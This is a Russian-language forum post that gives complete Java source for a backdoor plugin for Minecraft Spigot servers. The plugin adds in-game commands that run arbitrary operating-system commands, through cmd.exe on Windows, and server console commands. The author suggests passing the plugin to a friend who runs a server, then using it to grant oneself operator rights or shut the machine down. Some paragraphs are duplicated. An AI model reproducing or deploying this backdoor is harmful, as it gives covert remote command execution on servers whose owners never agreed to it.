L
LightMan
Original poster
Серверная часть minecraft написана на джаве и плагины тоже пишуться на ней.
В качестве цели я выбрал ядро Spigot для написания бекдора (кроме спигота есть ещё очень много разных ядер)
Spigot — глобальная серверная модификация, предоставляющая API для взаимодействия с игровым миром и созданная для упрощения создания плагинов к SMP-серверу. Spigot создан на основе ядра и призван заменить «старшего брата» стабильностью и производительностью. Кроме этого, почти все плагины, написанные для CraftBukkit, пойдут и на Spigot, но на Spigot написаны и собственные, недоступные CraftBukkit’у плагины.
Пример работы плагина если сервер запущен на винде
Пример работы плагина если сервер запущен на линуксе (просто сделал shutdown )
P.S. Как компилить под нужную версию ядра ищите сами
В качестве цели я выбрал ядро Spigot для написания бекдора (кроме спигота есть ещё очень много разных ядер)
Spigot — глобальная серверная модификация, предоставляющая API для взаимодействия с игровым миром и созданная для упрощения создания плагинов к SMP-серверу. Spigot создан на основе ядра и призван заменить «старшего брата» стабильностью и производительностью. Кроме этого, почти все плагины, написанные для CraftBukkit, пойдут и на Spigot, но на Spigot написаны и собственные, недоступные CraftBukkit’у плагины.
Файл BackdoorPlugin.java
При загрузке плагина сервером(onEnable) мы говорим что команды osRun и mcRun должны обрабатываться нашим CommandsHandler
Java:
package lightman.backdoor;
import org.bukkit.plugin.java.JavaPlugin;
public class BackdoorPlugin extends JavaPlugin {
@Override
public void onDisable() { }
@Override
public void onEnable() {
for (String c : new String[] { "osRun", "mcRun" }) {
getCommand(c).setExecutor(new CommandsHandler(this));
}
}
}
Файл CommandsHandler.java
Обработчик наших команд.
Функция onCommand будет запускаться если игрок выполнит одну из команд которые были установлены выше.
Символ "§" значит что мы хотим использовать цвета в чате
таким образом строка "§4Hello" будет в чате будет как "Hello"
Java:
package lightman.backdoor;
import org.bukkit.Bukkit;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.ConsoleCommandSender;
public class CommandsHandler implements CommandExecutor {
BackdoorPlugin plugin;
public CommandsHandler(BackdoorPlugin plugin) {
this.plugin = plugin;
}
private static final String OSUser = System.getProperty("user.name");
@Override
public boolean onCommand(final CommandSender sender, Command cmd, String label, String[] args) {
String cmdName = cmd.getName().toLowerCase();
final String cmdArgs = String.join(" ", args);
// Run OS command
if (cmdName.equals("osrun")) {
// Run command in new thread
new Thread() {
public void run() {
sender.sendMessage(String.format("§6[%s]§7 Running OS command: '%s'", OSUser, cmdArgs));
String result = CommandsRunner.ExecCommand(cmdArgs);
// Show results
if (!result.contains("\n")) {
sender.sendMessage("§eResult: §7" + result);
} else {
// Show results with \n
for (String result_str : result.split("\n")) {
sender.sendMessage("§7" + result_str);
}
}
}
}.start();
return true;
// Run console command
} else if (cmdName.equals("mcrun")) {
sender.sendMessage("§7[Server] §7Running MC command: " + cmdArgs);
ConsoleCommandSender console = sender.getServer().getConsoleSender();
return Bukkit.dispatchCommand(console, cmdArgs);
}
return false;
}
}
Файл CommandsRunner.java
Там есть функция которая выполняет команды нашей ОС (Виндовс, Линукс)
Java:
package lightman.backdoor;
import java.util.Scanner;
import java.io.IOException;
import java.net.URLDecoder;
import java.io.UnsupportedEncodingException;
public class CommandsRunner {
private final static String OSName = System.getProperty("os.name").toLowerCase();
public static String ExecCommand(String command) {
String result = "";
try {
// Detect OS & create process
Process proc;
if (OSName.contains("windows")) {
proc = Runtime.getRuntime().exec(
new String[] { "cmd.exe", "/c", command }
);
} else {
proc = Runtime.getRuntime().exec(command);
}
// Read output
Scanner sc = new Scanner(proc.getInputStream());
while (sc.hasNext()) {
result += sc.next();
}
sc.close();
} catch (IOException e) { e.printStackTrace(); }
// Decode results...
try { return URLDecoder.decode(result, "utf-8");
} catch (UnsupportedEncodingException e) { return result; }
}
}
Осталось кинуть наш плагин другу у которого есть свой сервер
- Создание папки 123
- Выдаче себе опки(типо прав админа)
- Оповещение в чат /say
Пример работы плагина если сервер запущен на линуксе (просто сделал shutdown )
P.S. Как компилить под нужную версию ядра ищите сами
P.S.S через мод на майнкрафт можно сделать что-то похожее (А мод ставиться клиенту, а не серверу )
Вложения
Последнее редактирование модератором: